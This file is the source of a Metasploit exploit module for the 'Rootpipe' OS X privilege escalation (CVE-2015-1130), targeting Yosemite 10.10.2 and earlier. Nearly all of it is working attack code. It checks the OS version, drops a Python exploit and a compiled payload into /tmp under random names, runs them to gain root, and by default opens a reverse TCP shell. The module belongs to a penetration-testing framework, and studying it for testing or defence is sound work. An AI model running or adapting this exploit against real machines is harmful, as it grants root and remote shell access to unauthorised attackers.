metasploit-framework/modules/exploits/osx/local/rootpipe.rb

95 lines
2.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
'Description' => %q{
This module exploits a hidden backdoor API in Apple's Admin framework on
OS X to escalate privileges to root. Dubbed "Rootpipe."
Tested on Yosemite 10.10.2 and should work on previous versions.
The patch for this issue was not backported to older releases.
},
'Author' => [
'Emil Kvarnhammar', # Vulnerability discovery and PoC
'joev', # Copy/paste monkey
'wvu' # Meta copy/paste monkey
],
'References' => [
['CVE', '2015-1130'],
['EDB', '36692'],
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
],
'DisclosureDate' => 'Apr 9 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [
['Mac OS X 10.9-10.10.2 x64 (Native Payload)', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'CMD' => '/bin/zsh'
}
))
register_options([
OptString.new('TMPDIR', [true, 'Path to temp directory', '/tmp']),
OptString.new('PYTHON', [true, 'Path to Python', '/usr/bin/python'])
])
end
def check
if ver_between(osx_ver, '10.9', '10.10.2')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130')
python_exploit = File.read(File.join(exploit_path, 'exploit.py'))
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
exploit_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
payload_file = "#{datastore['TMPDIR']}/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status("Writing exploit file as '#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)
print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status('Executing payload...')
cmd_exec("#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}")
cmd_exec(payload_file)
end
def osx_ver
cmd_exec('sw_vers -productVersion').to_s.strip
end
def ver_between(a, b, c)
Gem::Version.new(a).between?(Gem::Version.new(b), Gem::Version.new(c))
end
end